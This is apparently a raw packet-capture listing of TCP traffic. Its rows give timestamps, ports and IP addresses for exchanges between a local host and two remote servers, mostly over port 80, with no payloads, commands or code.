Nov 22, 2024 23:06:09.671544075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.671577930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.672563076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.672611952 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.672666073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.672712088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.673665047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.673727989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.673765898 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.673806906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.674763918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.674812078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.674874067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.674911022 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.675862074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.675904036 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.675991058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.676028967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.676961899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.677002907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.677038908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.677077055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.678009033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.678056002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.678129911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.678170919 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.679076910 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.679117918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.679189920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.679227114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.680150986 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.680201054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.680239916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.680282116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.681194067 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.681241035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.681315899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.681358099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.682208061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.682256937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.682329893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.682373047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.683243036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.683293104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.724508047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.724549055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.724641085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.724936962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.724967957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.724978924 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.725076914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.725233078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.725893974 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.725958109 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.726269007 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.726317883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.726397038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.726439953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.727299929 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.727358103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.727391958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.727431059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.728296995 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.728347063 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.728416920 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.728471041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.729294062 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.729355097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.729391098 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.729432106 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.730299950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.730351925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.730396032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.730438948 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.731369019 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.731425047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.731422901 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.731462002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.732336044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.732391119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.732459068 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.732508898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.733360052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.733411074 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.733494997 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.733540058 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.734349966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.734424114 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.734466076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.734509945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.735337973 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.735388994 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.735451937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.735496998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.736336946 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.736392021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.736448050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.736495972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.737387896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.737445116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.737499952 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.737540007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.738367081 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.738425970 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.738471985 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.738517046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.739432096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.739484072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.739633083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.739675999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.740405083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.740453959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.740497112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.740535021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.741410017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.741463900 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.741488934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.741524935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.742446899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.742512941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.742544889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.742583990 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.743417978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.743468046 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.743515015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.743550062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.744436026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.744504929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.744510889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.744544029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.745408058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.745450974 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.745518923 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.745557070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.746423960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.746469021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.746522903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.746561050 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.797147036 CET	443	49703	23.1.237.91	192.168.2.5
Nov 22, 2024 23:06:09.797310114 CET	49703	443	192.168.2.5	23.1.237.91
Nov 22, 2024 23:06:09.807353020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.807471991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.807542086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.807601929 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.807714939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.807755947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.808377981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.808417082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.808770895 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.808811903 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.809298992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.809354067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.809755087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.809798002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.810278893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.810323000 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.810771942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.810815096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.811167955 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.811208963 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.811734915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.811774015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.812201977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.812244892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.812783957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.812825918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.813013077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.813055038 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.849894047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.850009918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.850033045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.850064993 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.850307941 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.850353003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.850934982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.850986004 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.851321936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.851366997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.851826906 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.851875067 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.852293015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.852345943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.852827072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.852958918 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.853346109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.853387117 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.853692055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.853737116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.854334116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.854377031 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.854630947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.854672909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.855437040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.855483055 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.855741024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.855783939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.856364012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.856408119 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.856511116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.856548071 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.857364893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.857412100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.857547998 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.857584953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.858360052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.858409882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.858658075 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.858700037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.859421968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.859467030 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.859786034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.859839916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.860363960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.860409021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.860800982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.860843897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.861341000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.861392021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.861938000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.861988068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.862382889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.862426043 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.862919092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.862984896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.863495111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.863535881 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.863651991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.863696098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.864295959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.864342928 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.864456892 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.864500999 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.865184069 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.865230083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.865899086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.865952969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.866188049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.866200924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.866235018 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.866251945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.867608070 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.867654085 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.868103027 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.868114948 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.868128061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.868155003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.868176937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.869040012 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.869092941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.869386911 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.869436979 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.869952917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.870002985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.870404959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.870451927 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.870872021 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.870920897 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.871129990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.871176958 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.871737003 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.871793985 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.916537046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.916676998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.916930914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.916965961 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.916985035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.917001009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.917002916 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.917052984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.917889118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.917942047 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.917989969 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.918034077 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.918807983 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.918864012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.919034958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.919081926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.919368982 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.919418097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.920059919 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.920114040 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.920205116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.920249939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.920917988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.920968056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.921530008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.921582937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.921811104 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.921859026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.922272921 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.922323942 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.922786951 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.922838926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.923247099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.923295975 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.923846960 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.923898935 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.923978090 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.924031973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.924633026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.924681902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.924809933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.924860001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.925626040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.925676107 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.925966024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.926016092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.926456928 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.926507950 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.926678896 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.926728964 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.927401066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.927448988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.927488089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.927534103 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.928327084 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.928380013 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.928585052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.928646088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.929281950 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.929316044 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.929330111 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.929354906 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.930226088 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.930296898 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.930454016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.930504084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.931092978 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.931153059 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.931734085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.931787014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.932245016 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.932298899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.932359934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.932411909 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.932925940 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.932976007 CET	49704	80	192.168.2.5	185.215.113.206
Nov 22, 2024 23:06:09.933892965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.933908939 CET	80	49704	185.215.113.206	192.168.2.5
Nov 22, 2024 23:06:09.933926105 CET	80	49704	185.215.113.206	192.168.2.5
